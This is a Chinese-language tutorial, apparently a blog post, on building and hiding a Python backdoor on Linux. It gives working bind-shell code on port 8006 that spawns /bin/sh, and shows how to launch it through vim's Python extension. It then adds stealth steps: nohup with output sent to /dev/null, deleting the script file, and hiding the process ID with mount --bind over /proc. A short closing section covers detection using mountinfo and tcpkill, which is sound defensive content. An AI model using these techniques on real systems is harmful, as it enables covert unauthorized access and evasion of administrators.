linux 後門有很多,像bash後門,openssh後門等等,今天,我將帶大家探討一下python後門。
python後門,其實就是用python編寫的一個簡單的socket伺服器端。具體實現代碼如下:
from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',8006)) server.listen(5) talk, addr = server.accept() proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)以上代碼原理也很簡單,創建套接字,綁定套接字(也就是之後開啟的監聽埠),監聽套接字(其中數字5代表有5臺設備可同時連接),將linux下的標準輸入、輸出、錯誤重定向到套接字中並開啟一個shell,從而實現數據傳輸。在使用python啟動腳本,並在攻擊機上使用nc進行連接。成功連接後,受害者主機要顯示建立了一個sh連接。
這個一個簡單的python後門就實現了,但實際中,有很多伺服器是沒有安裝python應用的,那在沒有python應用的伺服器下就不能使用了麼?
答案是可以使用,現如今的vim編輯器為了更好的支持python語言,默認是安裝了python擴展,通過vim的python擴展,也可以去啟動一個python程序。可通過「vim --version」查看是否已支持python擴展。
那現在我們就可以使用vim的python擴展去啟動一個python後門,命令如下:
vim -E -c "pyfile test.py"其中 -E是啟動一個改進的Ex模式(也就是命令模式),-c是去加載一個文件,並去執行。
執行後會出現黑色的等待連接窗口,在攻擊機成功連接後,連接窗口會變成一個命令輸入窗口,並需要輸入q進行退出操作。然後在我們使用過程中,這個窗口並不需要。那我們就得考慮,如何啟動的時候就不顯示該窗口。
這裡我們可以使用linux中nohup功能,用來將命令進行後臺執行。命令如下:
nohup vim -E -c "pyfile test.py"
雖然沒有了命令輸入窗口,但是還是會有nohup的默認提示,並且在攻擊機未連接時界面會停留在此處,無法在當前窗口執行其他命令。因此,還需要對執行命令進行改進。其中改進的目的是讓命令執行後無任何顯示,再一次改進後的命令如下:
(nohup vim -E -c"pyfile test.py"> /dev/null 2>&1 &)以上命令是將nohup的執行結果輸出到/dev/null中,其中/dev/null在linux中代表空設備,結果輸出到空設備也就是丟棄nohup的執行結果。「2」在linux中代表錯誤輸出,「1」在linux中代表標準輸出,在此處也就是nohup的輸出。2>&1表示將錯誤輸出綁定到標準輸出上,在此處也就是將錯誤輸出同樣輸出到空設備上不進行顯示。這樣,無論nohup執行結果是否正確,都不會有輸出。
既然是後門,絕對不能留下自己創建的文件,那可以將刪除命令直接拼接到命令上。再次改進的代碼如下:
(nohup vim -E -c "pyfile test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py相信大家也注意到了,雖然成功啟動了python程序,但進程名為vim稍微有點顯眼,那是不是可以將其隱藏起來?
經過多次實驗發現,使用mount --bind可以實現這一想法。具體實現方式如下:
1、通過netstat命令,查詢到該進程號為1861;2、創建一個空文件夾「null」;3、使用命令「mount --bind null /proc/1861」經過這3步,已經成功隱藏了進程名和進程ID,通過netstat和ps命令,均無法查看到進程名與進程ID。mount --bind命令是將前一個目錄掛載到後一個目錄上,所有對後一個目錄的訪問其實都是對前一個目錄的訪問,並且會將前一個目錄路徑隱藏起來(注意這裡只是隱藏不是刪除,數據未發生改變,僅僅是無法訪問了)。
隱藏了PID和進程名,導致無法直接使用kill命令去直接刪除惡意進程,對查殺造成了一定的影響,可以讓後門能存活的久一點。
由於這種進程名和PID是通過mount的方式去隱藏,因此在查殺時,需要查看「/proc/$$/mountinfo」,分析是否為惡意掛載。
例如上圖,通過「cat /proc/$$/mountinfo」命令,發現23193為可疑進程ID。然後使用umount命令,取消對23193埠的掛載,就可確認該進程是否為惡意進程。然後就可以使用kill命令殺死該進程。
由於對惡意進程pid查找可能需要一定時間,在此期間,可以使用tcpkill工具(需安裝dsniff工具包),對惡意埠發起的連接進行阻斷。如最開始的實驗,是由於python腳本啟動8006埠的正向連接,導致後門的產生與利用,此時,可以使用「tcpkill -9 port 8006」命令,阻止用戶對8006埠的連接,從而暫時阻斷後門的利用,為徹底清除爭取時間。
到此,對python後門的研究就告一段落,這次研究學習進行總結如下:
1、在沒有python環境時,可嘗試通過vim執行python文件;2、可以使用nohup功能,將命令進行後臺執行;3、1>/dev/null 2>&1,可屏蔽linux內輸出內容;4、使用mount --bind ,可隱藏進程名和進程ID。
A man becomes learned by asking question.